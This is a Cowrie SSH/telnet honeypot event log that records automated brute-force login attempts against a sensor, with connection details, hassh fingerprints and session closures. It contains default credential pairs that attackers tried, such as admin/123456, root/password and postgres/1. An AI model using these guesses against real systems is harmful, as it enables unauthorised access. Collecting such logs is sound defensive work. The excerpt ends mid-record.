{"eventid":"cowrie.login.failed","username":"admin","password":"123456","message":"login attempt [admin/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:50:06.197284Z","src_ip":"172.237.20.62","session":"1f91c22bcb82","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"erp","password":"erp","message":"login attempt [erp/erp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:50:06.204865Z","src_ip":"176.65.132.129","session":"a537b5d9a730","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:50:07.289214Z","src_ip":"176.65.132.129","session":"a537b5d9a730","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:50:07.362872Z","src_ip":"172.237.20.62","session":"1f91c22bcb82","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.85780167579651,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:50:08.072343Z","src_ip":"45.58.127.90","session":"e866f1138f26","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":57392,"dst_ip":"159.203.135.109","dst_port":22,"session":"5a9a61364c38","protocol":"ssh","message":"New connection: 176.65.132.129:57392 (159.203.135.109:22) [session: 5a9a61364c38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:50:09.010917Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:50:09.015841Z","src_ip":"176.65.132.129","session":"5a9a61364c38","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:50:09.098106Z","src_ip":"176.65.132.129","session":"5a9a61364c38","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"git","message":"login attempt [git/git] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:50:09.491122Z","src_ip":"176.65.132.129","session":"5a9a61364c38","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.053261041641235,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:50:10.430314Z","src_ip":"45.58.127.90","session":"7436155c762b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:50:10.580583Z","src_ip":"176.65.132.129","session":"5a9a61364c38","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":57402,"dst_ip":"159.203.135.109","dst_port":22,"session":"2f39c1c5467a","protocol":"ssh","message":"New connection: 176.65.132.129:57402 (159.203.135.109:22) [session: 2f39c1c5467a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:50:12.369210Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:50:12.374115Z","src_ip":"176.65.132.129","session":"2f39c1c5467a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:50:12.456435Z","src_ip":"176.65.132.129","session":"2f39c1c5467a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sonar","password":"sonar","message":"login attempt [sonar/sonar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:50:12.702273Z","src_ip":"176.65.132.129","session":"2f39c1c5467a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:50:13.788606Z","src_ip":"176.65.132.129","session":"2f39c1c5467a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.770628213882446,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:50:15.393657Z","src_ip":"45.58.127.90","session":"c963ebde5e05","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":57410,"dst_ip":"159.203.135.109","dst_port":22,"session":"8ceb6a9fe41a","protocol":"ssh","message":"New connection: 176.65.132.129:57410 (159.203.135.109:22) [session: 8ceb6a9fe41a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:50:15.599777Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:50:15.612266Z","src_ip":"176.65.132.129","session":"8ceb6a9fe41a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:50:15.695037Z","src_ip":"176.65.132.129","session":"8ceb6a9fe41a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"password","message":"login attempt [root/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:50:15.949839Z","src_ip":"176.65.132.129","session":"8ceb6a9fe41a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":41404,"dst_ip":"159.203.135.109","dst_port":22,"session":"25bdf2f112ab","protocol":"ssh","message":"New connection: 172.237.20.62:41404 (159.203.135.109:22) [session: 25bdf2f112ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:50:16.511982Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:50:16.516761Z","src_ip":"172.237.20.62","session":"25bdf2f112ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:50:16.681096Z","src_ip":"172.237.20.62","session":"25bdf2f112ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:50:17.074733Z","src_ip":"176.65.132.129","session":"8ceb6a9fe41a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"niaoyun","password":"123456","message":"login attempt [niaoyun/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:50:17.199157Z","src_ip":"172.237.20.62","session":"25bdf2f112ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.72645568847656,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:50:17.891333Z","src_ip":"45.58.127.90","session":"6f1a88642c87","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:50:18.364560Z","src_ip":"172.237.20.62","session":"25bdf2f112ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":33532,"dst_ip":"159.203.135.109","dst_port":22,"session":"7c40092e5fa4","protocol":"ssh","message":"New connection: 176.65.132.129:33532 (159.203.135.109:22) [session: 7c40092e5fa4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:50:18.805737Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:50:18.815938Z","src_ip":"176.65.132.129","session":"7c40092e5fa4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:50:18.898288Z","src_ip":"176.65.132.129","session":"7c40092e5fa4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dolphinscheduler","password":"dolphinscheduler","message":"login attempt [dolphinscheduler/dolphinscheduler] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:50:19.145394Z","src_ip":"176.65.132.129","session":"7c40092e5fa4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:50:20.230764Z","src_ip":"176.65.132.129","session":"7c40092e5fa4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":33538,"dst_ip":"159.203.135.109","dst_port":22,"session":"42f06539e839","protocol":"ssh","message":"New connection: 176.65.132.129:33538 (159.203.135.109:22) [session: 42f06539e839]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:50:21.987344Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:50:21.994327Z","src_ip":"176.65.132.129","session":"42f06539e839","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:50:22.201616Z","src_ip":"176.65.132.129","session":"42f06539e839","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"1","message":"login attempt [postgres/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:50:22.494170Z","src_ip":"176.65.132.129","session":"42f06539e839","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.771735191345215,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:50:22.671016Z","src_ip":"45.58.127.90","session":"fcd5ec4b213e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:50:23.579529Z","src_ip":"176.65.132.129","session":"42f06539e839","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":33542,"dst_ip":"159.203.135.109","dst_port":22,"session":"f8dead131ec0","protocol":"ssh","message":"New connection: 176.65.132.129:33542 (159.203.135.109:22) [session: f8dead131ec0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:50:25.250943Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:50:25.256076Z","src_ip":"176.65.132.129","session":"f8dead131ec0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:50:25.338806Z","src_ip":"176.65.132.129","session":"f8dead131ec0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"QWEqwe123","message":"login attempt [root/QWEqwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:50:25.589283Z","src_ip":"176.65.132.129","session":"f8dead131ec0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:50:26.674706Z","src_ip":"176.65.132.129","session":"f8dead131ec0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":47158,"dst_ip":"159.203.135.109","dst_port":22,"session":"37add312a6d3","protocol":"ssh","message":"New connection: 172.237.20.62:47158 (159.203.135.109:22) [session: 37add312a6d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:50:27.474799Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:50:27.479328Z","src_ip":"172.237.20.62","session":"37add312a6d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"comp